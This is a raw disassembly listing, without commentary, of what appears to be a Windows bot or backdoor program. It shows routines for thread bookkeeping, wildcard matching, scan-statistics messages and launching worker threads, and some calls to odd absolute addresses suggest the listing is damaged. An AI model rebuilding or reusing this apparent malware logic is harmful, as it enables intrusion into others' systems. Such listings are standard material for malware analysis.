sub_40B231+33j mov [edi], ebx lea edi, dword_43DEB8[esi] mov dword_43DEB0[esi], ebx mov dword_43DEB4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B28A push eax call sub_4199C9 pop ecx loc_40B28A: ; CODE XREF: sub_40B231+50j mov [edi], ebx lea edi, dword_43DEBC[esi] mov byte ptr dword_43DCB0[esi], bl mov byte_43DEC8[esi], bl push dword ptr [edi] call dword_4CB00C lea esi, dword_43DEC0[esi] mov [edi], ebx push dword ptr [esi] call dword_4CB00C mov [esi], ebx pop edi loc_40B2B9: ; CODE XREF: sub_40B231+Dj ; sub_40B231+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B231 endp ; =============== S U B R O U T I N E ======================================= sub_40B2BF proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43DCB0 loc_40B2CB: ; CODE XREF: sub_40B2BF+2Aj cmp byte ptr [esi], 0 jz short loc_40B2DC push edi call sub_40B231 test eax, eax pop ecx jz short loc_40B2DC inc ebx loc_40B2DC: ; CODE XREF: sub_40B2BF+Fj ; sub_40B2BF+1Aj add esi, 234h inc edi cmp esi, offset dword_4CACB0 jl short loc_40B2CB pop edi mov eax, ebx pop esi pop ebx retn sub_40B2BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2F1 proc near ; CODE XREF: sub_401ACD+418Ep ; sub_401ACD+42E0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43DEB4 loc_40B305: ; CODE XREF: sub_40B2F1+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B327 test edi, edi jle short loc_40B319 cmp [esi], edi jz short loc_40B319 cmp ebx, edi jnz short loc_40B327 loc_40B319: ; CODE XREF: sub_40B2F1+1Ej ; sub_40B2F1+22j push ebx call sub_40B231 test eax, eax pop ecx jz short loc_40B327 inc [ebp+var_4] loc_40B327: ; CODE XREF: sub_40B2F1+1Aj ; sub_40B2F1+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CAEB4 jl short loc_40B305 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B2F1 endp ; =============== S U B R O U T I N E ======================================= sub_40B33E proc near ; CODE XREF: ___:00401630p ; sub_401ACD+97Ap ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43DEB0 loc_40B345: ; CODE XREF: sub_40B33E+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B34E inc eax loc_40B34E: ; CODE XREF: sub_40B33E+Dj add ecx, 234h cmp ecx, offset dword_4CAEB0 jl short loc_40B345 retn sub_40B33E endp ; =============== S U B R O U T I N E ======================================= sub_40B35D proc near ; CODE XREF: sub_401ACD+2433p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43DEB0 loc_40B367: ; CODE XREF: sub_40B35D+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B380 add ecx, 234h inc edx cmp ecx, offset dword_4CAEB0 jl short loc_40B367 pop esi retn ; --------------------------------------------------------------------------- loc_40B380: ; CODE XREF: sub_40B35D+10j mov eax, edx pop esi retn sub_40B35D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B384 proc near ; CODE XREF: sub_401ACD+1066p ; sub_401ACD+126Cp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B39D push [ebp+arg_1C] call sub_41B779 pop ecx loc_40B39D: ; CODE XREF: sub_40B384+Ej push eax push [ebp+arg_18] call sub_40B2F1 pop ecx test eax, eax pop ecx jle short loc_40B3C9 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41B886 add esp, 14h jmp short loc_40B3E3 ; --------------------------------------------------------------------------- loc_40B3C9: ; CODE XREF: sub_40B384+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41B886 add esp, 10h loc_40B3E3: ; CODE XREF: sub_40B384+43j cmp [ebp+arg_C], 0 jnz short loc_40B403 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40B403: ; CODE XREF: sub_40B384+63j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx leave retn sub_40B384 endp ; =============== S U B R O U T I N E ======================================= sub_40B412 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BA47p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43DEC4[eax], ecx mov dword_43DEB0[eax], ecx mov dword_43DEB4[eax], ecx mov dword_43DEB8[eax], ecx mov dword_43DEBC[eax], ecx mov dword_43DEC0[eax], ecx mov byte ptr dword_43DCB0[eax], cl mov byte_43DEC8[eax], cl retn sub_40B412 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B44F proc near ; CODE XREF: sub_401ACD+7E3Bp ; sub_40B57D+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B459: ; CODE XREF: sub_40B44F+68j mov cl, [esi] test cl, cl jz short loc_40B4B9 cmp eax, 1 jnz short loc_40B4B9 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B4B9 cmp cl, 2Ah jz short loc_40B4A0 cmp cl, 3Fh jz short loc_40B483 cmp cl, 5Bh jz short loc_40B488 xor eax, eax cmp cl, dl setz al loc_40B483: ; CODE XREF: sub_40B44F+26j inc [ebp+arg_4] jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B488: ; CODE XREF: sub_40B44F+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B4E5 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B4A0: ; CODE XREF: sub_40B44F+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B57D mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B4B3: ; CODE XREF: sub_40B44F+37j ; sub_40B44F+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B459 ; --------------------------------------------------------------------------- loc_40B4B9: ; CODE XREF: sub_40B44F+Ej ; sub_40B44F+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B4C9 cmp eax, 1 jnz short loc_40B4E0 inc esi mov [ebp+arg_0], esi jmp short loc_40B4B9 ; --------------------------------------------------------------------------- loc_40B4C9: ; CODE XREF: sub_40B44F+6Dj cmp eax, 1 jnz short loc_40B4E0 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B4E0 cmp byte ptr [esi], 0 jnz short loc_40B4E0 push 1 pop eax jmp short loc_40B4E2 ; --------------------------------------------------------------------------- loc_40B4E0: ; CODE XREF: sub_40B44F+72j ; sub_40B44F+7Dj ... xor eax, eax loc_40B4E2: ; CODE XREF: sub_40B44F+8Fj pop esi pop ebp retn sub_40B44F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4E5 proc near ; CODE XREF: sub_40B44F+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B506 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B506: ; CODE XREF: sub_40B4E5+19j push ebx push esi loc_40B508: ; CODE XREF: sub_40B4E5+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B516 cmp [ebp+var_4], eax jnz short loc_40B562 loc_40B516: ; CODE XREF: sub_40B4E5+2Aj test edi, edi jnz short loc_40B557 cmp bl, 2Dh jnz short loc_40B54B mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B54B cmp al, 5Dh jz short loc_40B54B cmp [ebp+var_4], edi jnz short loc_40B54B mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B557 cmp bl, al jg short loc_40B557 push 1 mov [edx], esi pop edi jmp short loc_40B557 ; --------------------------------------------------------------------------- loc_40B54B: ; CODE XREF: sub_40B4E5+38j ; sub_40B4E5+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B557 push 1 pop edi loc_40B557: ; CODE XREF: sub_40B4E5+33j ; sub_40B4E5+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B508 ; --------------------------------------------------------------------------- loc_40B562: ; CODE XREF: sub_40B4E5+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B56F mov ecx, eax sub ecx, edi mov edi, ecx loc_40B56F: ; CODE XREF: sub_40B4E5+82j cmp edi, eax jnz short loc_40B578 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B578: ; CODE XREF: sub_40B4E5+8Cj mov eax, edi pop edi leave retn sub_40B4E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B57D proc near ; CODE XREF: sub_40B44F+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B599: ; CODE XREF: sub_40B57D+3Aj cmp [eax], bl jz short loc_40B5B9 mov cl, [ecx] cmp cl, 3Fh jz short loc_40B5AE cmp cl, 2Ah jnz short loc_40B5B9 cmp cl, 3Fh jnz short loc_40B5B1 loc_40B5AE: ; CODE XREF: sub_40B57D+25j inc eax mov [edi], eax loc_40B5B1: ; CODE XREF: sub_40B57D+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B599 ; --------------------------------------------------------------------------- loc_40B5B9: ; CODE XREF: sub_40B57D+1Ej ; sub_40B57D+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B5C4 inc dword ptr [esi] jmp short loc_40B5B9 ; --------------------------------------------------------------------------- loc_40B5C4: ; CODE XREF: sub_40B57D+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B5E5 mov edx, [esi] cmp [edx], bl jz short loc_40B5D6 xor eax, eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5D6: ; CODE XREF: sub_40B57D+53j cmp cl, bl jnz short loc_40B5E5 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B5E5 push 1 pop eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5E5: ; CODE XREF: sub_40B57D+4Dj ; sub_40B57D+5Bj ... push eax push dword ptr [esi] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_40B62F loc_40B5F3: ; CODE XREF: sub_40B57D+B0j inc dword ptr [edi] mov eax, [edi] loc_40B5F7: ; CODE XREF: sub_40B57D+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B60F cmp cl, 5Bh jz short loc_40B60F cmp dl, bl jz short loc_40B60F inc eax mov [edi], eax jmp short loc_40B5F7 ; --------------------------------------------------------------------------- loc_40B60F: ; CODE XREF: sub_40B57D+82j ; sub_40B57D+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B626 push eax push dword ptr [esi] call sub_40B44F neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B62B ; --------------------------------------------------------------------------- loc_40B626: ; CODE XREF: sub_40B57D+96j mov [ebp+var_4], ebx xor eax, eax loc_40B62B: ; CODE XREF: sub_40B57D+A7j cmp eax, ebx jnz short loc_40B5F3 loc_40B62F: ; CODE XREF: sub_40B57D+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B642 mov eax, [esi] cmp [eax], bl jnz short loc_40B642 mov [ebp+var_4], 1 loc_40B642: ; CODE XREF: sub_40B57D+B6j ; sub_40B57D+BCj mov eax, [ebp+var_4] loc_40B645: ; CODE XREF: sub_40B57D+57j ; sub_40B57D+66j pop edi pop esi pop ebx leave retn sub_40B57D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B64A proc near ; CODE XREF: sub_401ACD+2AF5p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_4317AC push eax xor ebx, ebx call sub_41B886 cmp dword_431410, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B6BC push esi mov esi, offset dword_431418 loc_40B67D: ; CODE XREF: sub_40B64A+6Fj mov eax, [esi] test eax, eax jbe short loc_40B6B2 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_4317A0 push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 add esp, 1Ch loc_40B6B2: ; CODE XREF: sub_40B64A+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B67D pop esi loc_40B6BC: ; CODE XREF: sub_40B64A+2Bj push dword_4CACB4 call sub_41A88B pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 34h pop edi pop ebx leave retn sub_40B64A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B719 proc near ; CODE XREF: sub_401ACD+2ADFp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CDA80 mov ecx, dword_4CDA7C push esi push dword_4CACB4 lea esi, [ecx+eax] call sub_41A88B pop ecx push eax push esi push dword_4CDA80 lea eax, [ebp+var_200] push dword_4CDA7C push offset unk_4317CC push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 30h pop esi leave retn sub_40B719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B785 proc near ; CODE XREF: sub_401ACD+2AC9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CACB4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_200] push dword_4CDCC4 push offset unk_431814 push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 28h leave retn sub_40B785 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7DA proc near ; CODE XREF: sub_401ACD+2AB3p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push edi lea eax, [ebp+var_800] push offset dword_431860 push eax call sub_41B886 cmp dword_431410, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B846 push esi mov esi, offset aSymantec ; "Symantec" loc_40B80F: ; CODE XREF: sub_40B7DA+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431850 push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B80F pop esi loc_40B846: ; CODE XREF: sub_40B7DA+2Dj push dword_4CACB4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_800] push eax call sub_4151AC add esp, 30h pop edi leave retn sub_40B7DA endp ; --------------------------------------------------------------------------- byte_40B8A1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+30E0o ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4CAFB4 xor edi, edi mov [ebp-8], eax cmp dword_431410, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40BA03 mov ebx, offset dword_431410 mov eax, ebx loc_40B8F2: ; CODE XREF: ___:0040B9FDj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C087 add esp, 0Ch cmp eax, 1 jnz loc_40B9F3 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_4318B0 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41B886 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41B886 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40B98E lea eax, [ebp-124h] loc_40B98E: ; CODE XREF: ___:0040B986j push eax lea eax, [ebp-1DCh] push eax call sub_41B886 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40B9F3: ; CODE XREF: ___:0040B905j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40B8F2 loc_40BA03: ; CODE XREF: ___:0040B8E5j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_43187C push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 add esp, 2Ch push edi nop ; --------------------------------------------------------------------------- db 0E8h, 0AAh, 45h ; --------------------------------------------------------------------------- sub eax, [edx] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA56 proc near ; CODE XREF: sub_401ACD+244Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B33E test eax, eax pop ecx jle short loc_40BA92 mov eax, [ebp+arg_C] push dword_4CB0C0[eax*8] call dword_4CB000 push eax lea eax, [ebp+var_200] push offset unk_431900 push eax call sub_41B886 add esp, 0Ch jmp short loc_40BAA5 ; --------------------------------------------------------------------------- loc_40BA92: ; CODE XREF: sub_40BA56+13j lea eax, [ebp+var_200] push offset unk_4318E0 push eax call sub_41B886 pop ecx pop ecx loc_40BAA5: ; CODE XREF: sub_40BA56+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 18h leave retn sub_40BA56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BACD proc near ; CODE XREF: sub_40C124+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BF9F shl eax, 6 xor ebx, ebx cmp dword_43141C[eax], ebx jz loc_40BF9F push 5 call sub_40B33E test eax, eax pop ecx jnz loc_40BD54 mov eax, dword_429078 push edi mov esi, offset dword_4CD17C push 104h push esi push ebx mov dword_4CD38C, eax mov dword_4CD388, ebx nop call near ptr 2650000h mov edi, offset byte_429108 push 103h push edi push offset dword_4CD280 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD178, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CD410, eax jnz short loc_40BB80 lea eax, [ebp+arg_10] push eax push offset dword_4CD390 call sub_41B5F0 add esp, 0Ch mov dword_4CD414, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB80: ; CODE XREF: sub_40BACD+94j lea eax, [ebp+arg_90] push eax push offset dword_4CD390 call sub_41B5F0 add esp, 0Ch mov dword_4CD414, ebx loc_40BB9A: ; CODE XREF: sub_40BACD+B1j push esi lea eax, [ebp+var_204] push dword_4CD38C push offset unk_42BE60 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD384, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD178 push offset word_411796 push ebx push ebx call near ptr 266006Bh nop mov ecx, dword_4CD384 imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BC08 loc_40BBF6: ; CODE XREF: sub_40BACD+139j cmp dword_4CD418, ebx jnz short loc_40BC23 push 32h call near ptr 2660000h nop jmp short loc_40BBF6 ; --------------------------------------------------------------------------- loc_40BC08: ; CODE XREF: sub_40BACD+127j nop call near ptr 2660882h push eax lea eax, [ebp+var_204] push offset unk_431A20 push eax call sub_41B886 add esp, 0Ch loc_40BC23: ; CODE XREF: sub_40BACD+12Fj lea eax, [ebp+var_204] push eax call sub_4151AC mov eax, dword_4CACB0 mov esi, offset dword_4CD424 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CD634, eax mov dword_4CD630, ebx nop call near ptr 2650000h push 103h push edi push offset dword_4CD528 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD420, eax mov eax, [ebp+arg_138] pop edi mov dword_4CD6B8, eax push 7Fh jnz short loc_40BCA4 lea eax, [ebp+arg_10] push eax push offset dword_4CD638 call sub_41B5F0 add esp, 0Ch mov dword_4CD6BC, 1 jmp short loc_40BCBE ; --------------------------------------------------------------------------- loc_40BCA4: ; CODE XREF: sub_40BACD+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CD638 call sub_41B5F0 add esp, 0Ch mov dword_4CD6BC, ebx loc_40BCBE: ; CODE XREF: sub_40BACD+1D5j push esi lea eax, [ebp+var_204] push dword_4CD634 push offset unk_4319EC push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD62C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD420 push offset byte_40E991 push ebx push ebx nop call near ptr 266006Bh mov ecx, dword_4CD62C imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BD2C loc_40BD1A: ; CODE XREF: sub_40BACD+25Dj cmp dword_4CD6C0, ebx jnz short loc_40BD47 push 32h nop call near ptr 2660000h jmp short loc_40BD1A ; --------------------------------------------------------------------------- loc_40BD2C: ; CODE XREF: sub_40BACD+24Bj nop call near ptr 2660882h push eax lea eax, [ebp+var_204] push offset unk_4319B8 push eax call sub_41B886 add esp, 0Ch loc_40BD47: ; CODE XREF: sub_40BACD+253j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BD54: ; CODE XREF: sub_40BACD+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_431424[ecx], ebx jz loc_40BE7D push 7 call sub_40B33E test eax, eax pop ecx jnz loc_40BE77 mov eax, dword_4CDCBC cmp [ebp+arg_90], bl mov dword_4CD0E4, eax mov eax, [ebp+arg_110] mov dword_4CD0D8, eax mov eax, [ebp+arg_138] mov dword_4CD0E0, ebx mov dword_4CD168, eax push 7Fh jnz short loc_40BDC8 lea eax, [ebp+arg_10] push eax push offset dword_4CD0E8 call sub_41B5F0 add esp, 0Ch mov dword_4CD16C, 1 jmp short loc_40BDE2 ; --------------------------------------------------------------------------- loc_40BDC8: ; CODE XREF: sub_40BACD+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CD0E8 call sub_41B5F0 add esp, 0Ch mov dword_4CD16C, ebx loc_40BDE2: ; CODE XREF: sub_40BACD+2F9j push dword_4CD0E4 lea eax, [ebp+var_204] push offset unk_431988 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B0F6 add esp, 18h mov dword_4CD0DC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD0D8 push offset byte_40E6EF push ebx push ebx call near ptr 266006Bh nop mov ecx, dword_4CD0DC imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BE4F loc_40BE3D: ; CODE XREF: sub_40BACD+380j cmp dword_4CD170, ebx jnz short loc_40BE6A push 32h call near ptr 2660000h nop jmp short loc_40BE3D ; --------------------------------------------------------------------------- loc_40BE4F: ; CODE XREF: sub_40BACD+36Ej call near ptr 2660882h nop push eax lea eax, [ebp+var_204] push offset unk_431950 push eax call sub_41B886 add esp, 0Ch loc_40BE6A: ; CODE XREF: sub_40BACD+376j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BE77: ; CODE XREF: sub_40BACD+2A8j mov eax, [ebp+arg_130] loc_40BE7D: ; CODE XREF: sub_40BACD+298j shl eax, 6 cmp dword_431420[eax], ebx jz loc_40BF9F push 3 call sub_40B33E test eax, eax pop ecx jnz loc_40BF9F mov esi, offset dword_4CD954 push 104h push esi push ebx nop call near ptr 2650000h push 5Ch push esi call sub_41BE40 pop ecx cmp eax, ebx pop ecx jz short loc_40BEBE mov [eax], bl loc_40BEBE: ; CODE XREF: sub_40BACD+3EDj mov eax, dword_42907C mov dword_4CDA6C, ebx mov dword_4CDA58, eax lea eax, [ebp+arg_10] push eax push offset dword_4CD6CC call sub_41B886 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CD6C8, eax mov ecx, [ebp+arg_138] push esi push dword_4CDA58 mov dword_4CDA64, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CDA68, ecx call sub_40AC0F pop ecx push eax lea eax, [ebp+var_204] push offset unk_42BDE8 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B0F6 add esp, 20h mov dword_4CDA60, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD6C8 push offset sub_40F0D5 push ebx push ebx call near ptr 266006Bh nop mov ecx, dword_4CDA60 imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BF77 loc_40BF65: ; CODE XREF: sub_40BACD+4A8j cmp dword_4CDA74, ebx jnz short loc_40BF92 push 32h nop call near ptr 2660000h jmp short loc_40BF65 ; --------------------------------------------------------------------------- loc_40BF77: ; CODE XREF: sub_40BACD+496j nop call near ptr 2660882h push eax lea eax, [ebp+var_204] push offset unk_43191C push eax call sub_41B886 add esp, 0Ch loc_40BF92: ; CODE XREF: sub_40BACD+49Ej lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BF9F: ; CODE XREF: sub_40BACD+14j ; sub_40BACD+25j ... pop esi pop ebx leave retn sub_40BACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFA3 proc near ; CODE XREF: sub_40C124:loc_40C195p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CB0C0h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41C310 add esp, 0Ch push [ebp+arg_0] call dword_4CAE9C inc eax push eax mov [ebp+arg_0], eax 